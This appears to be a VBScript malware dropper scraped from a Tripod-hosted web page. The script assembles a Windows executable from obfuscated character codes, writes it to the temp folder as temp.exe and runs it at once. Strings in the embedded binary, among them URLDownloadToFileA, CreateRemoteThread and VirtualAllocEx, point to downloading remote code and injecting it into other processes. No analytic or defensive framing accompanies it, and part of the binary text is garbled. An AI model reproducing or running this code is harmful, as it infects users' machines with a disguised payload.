Dim FSO,WSH,OUT,SYS,O Set FSO=CreateObject("Scripting.FileSystemObject") Set WSH=CreateObject("WScript.Shell") SYS=FSO.GetSpecialFolder(2) Set OUT=FSO.CreateTextFile(SYS&"\temp.exe",True) Function C(I) C=Chr(I) End Function O=C(0) Function S(I,J) S=String(J,I) End Function Function N(I) N=S(O,I) End Function OUT.Write("MZ"&O&C(3)&N(3)&C(4)&N(3)&""&O&O&""&N(7)&"@"&N(35)&""&N(3)&"h"&C(16)&",C,C,C,C/CC.COC-CNC)C,C"&O&"URLDownloadToFileA"&O&O&"urlmon.dll"&O&O&"q"&C(2)&"SetLastError"&O&O&"F"&O&"CreateRemoteThread"&O&O&">"&C(1)&"GetProcAddress"&O&O&""&O&"GetCurrentProcessId"&O&C(28)&C(2)&"ReadProcessMemory"&O&""&C(2)&"VirtualAlloc"&O&O&""&C(2)&"VirtualFree"&O&","&C(2)&"ResumeThread"&N(431)&"#"&C(20)&C(19)&"]"&C(34)&C(20)&C(19)&""&C(34)&C(20)&C(19)&"#"&C(20)&C(19)&"KERNEL32.dll"&O&"ntdll"&O&"VirtualAllocEx"&O&"VirtualFreeEx"&O&"NtOpenThread"&O&O&"jx"&C(21)&"0"&C(16)&C(20)&C(19)&"+"&C(5)&N(3)&""&C(1)&""&C(12)&O&"M "&C(20)&C(19)&"8"&O&C(15)&""&N(3)&""&O&"WSب"&C(4)&"uj,"&C(16)&C(20)&C(19)&"=("&C(16)&C(20)&C(19)&""&O&" "&C(20)&C(19)&""&C(3)&"h"&C(16)&" "&C(20)&C(19)&""&C(21)&S(C(16),2)&C(20)&C(19)&"Ph# "&C(20)&C(19)&"PׅY"&C(15)&""&N(3)&"C"&C(4)&"h2 "&C(20)&C(19)&"Qׅ"&C(15)&""&N(3)&"C"&C(8)&"h"&C(29)&" "&C(20)&C(19)&""&C(21)&S(C(16),2)&C(20)&C(19)&"h@ "&C(20)&C(19)&"Pׅtx"&C(16)&" "&C(20)&C(19)&"C"&C(12)&"#"&C(20)&C(19)&"e"&C(21)&" "&C(16)&C(20)&C(19)&"d"&C(13)&"0"&N(3)&"3n#"&C(20)&C(19)&"9"&C(6)&"s"&C(26)&""&C(13)&"!"&C(20)&C(19)&""&C(13)&"!"&C(20)&C(19)&O&C(21)&"!"&C(20)&C(19)&O&C(21)&C(5)&C(34)&C(20)&C(19)&""&C(28)&C(16)&C(20)&C(19)&"yT"&O&"t"&C(8)&"8hu"&C(3)&"@"&C(1)&"-"&N(3)&"jYY8u"&C(9)&"x"&O&"t"&C(6)&"HIu"&C(8)&C(3)&"@M#"&C(20)&C(19)&"[_M#"&C(20)&C(19)&"j"&C(5)&""&C(21)&"0"&C(16)&C(20)&C(19)&"+h!"&C(20)&C(19)&"d2d"&C(34)&"T$"&C(12)&"+Ɂd0"&N(3)&"u"&C(3)&"A"&C(24)&"HDPDQ"&C(8)&"Y8"&C(6)&"t"&C(4)&"+"&C(6)&";t"&C(2)&"+d"&C(5)&N(4)&"Z"&C(4)&O&"T$"&C(12)&"°"&N(3)&"D$"&C(8)&"B"&C(8)&"!"&C(20)&C(19)&"B"&C(20)&""&C(34)&O&"3+h("&C(34)&C(20)&C(19)&"d2d"&C(34)&"L$"&C(20)&"+9"&C(7)&"u@Q"&C(21)&" "&C(16)&C(20)&C(19)&"Pt$"&C(24)&"t$"&C(24)&""&C(21)&C(12)&C(16)&C(20)&C(19)&"Yt%d"&C(21)&"0"&N(3)&"RRDLB"&C(8)&"9"&C(6)&"Zw"&C(8)&"A"&C(4)&"J"&C(4)&""&C(8)&"fA"&C(2)&"fJ"&C(2)&"d"&C(5)&N(4)&"Z"&C(12)&O&"T$"&C(12)&"°"&N(3)&"D$"&C(8)&"B"&C(8)&C(29)&C(34)&C(20)&C(19)&"B"&C(20)&""&C(34)&O&"3"&C(24)&"u"&C(8)&""&C(20)&O&"%"&C(4)&" "&C(20)&C(19)&"Uu"&C(8)&"t(+B "&C(8)&O&"0u"&C(27)&"u"&C(4)&"@"&C(5)&C(11)&"E"&C(20)&"u"&C(24)&"Pu"&C(16)&"u"&C(12)&""&C(21)&C(24)&C(16)&C(20)&C(19)&""&C(20)&O&"u"&C(8)&""&C(16)&O&"%"&C(8)&" "&C(20)&C(19)&"Uu"&C(8)&"t"&C(24)&"U"&C(12)&"u"&C(4)&""&C(17)&"u"&C(20)&"u"&C(16)&"R"&C(21)&C(20)&C(16)&C(20)&C(19)&""&C(16)&O&"h"&C(1)&O&O&""&C(21)&"0"&C(16)&C(20)&C(19)&"+uu"&C(8)&"W"&C(28)&O&"%"&O&" "&C(20)&C(19)&"UM"&C(12)&"e"&O&""&C(11)&"9"&C(12)&"uxq"&C(8)&"Eu"&C(8)&"6tf@ "&C(8)&O&"0u]U"&C(16)&"u"&C(9)&"u"&C(5)&""&O&"jHYE"&C(28)&C(16)&"t"&C(3)&""&C(16)&"Q"&N(4)&"u"&C(24)&"u"&C(20)&"RPхt-M Puh"&C(3)&C(31)&O&""&C(7)&"5xV4"&C(18)&""&C(1)&"LE"&C(28)&C(4)&"u"&C(9)&"PP"&C(21)&"$"&C(16)&C(20)&C(19)&"X"&C(28)&O&"+u"&C(8)&""&C(12)&O&"%"&C(12)&" "&C(20)&C(19)&"D$"&C(12)&"3"&C(5)&"n#"&C(20)&C(19)&"Pt$"&C(12)&"t") OUT.Write("$"&C(12)&""&C(6)&""&C(12)&O&"UWu"&C(16)&"j"&O&"}TWu"&C(8)&"j"&C(24)&"X+j"&C(5)&"YW9E"&C(12)&C(15)&""&C(8)&"E"&C(21)&C(16)&" "&C(20)&C(19)&"ZEY_"&C(12)&O&"") OUT.Close WSH.run(SYS & "\temp.exe")
Make your own free website on Tripod.com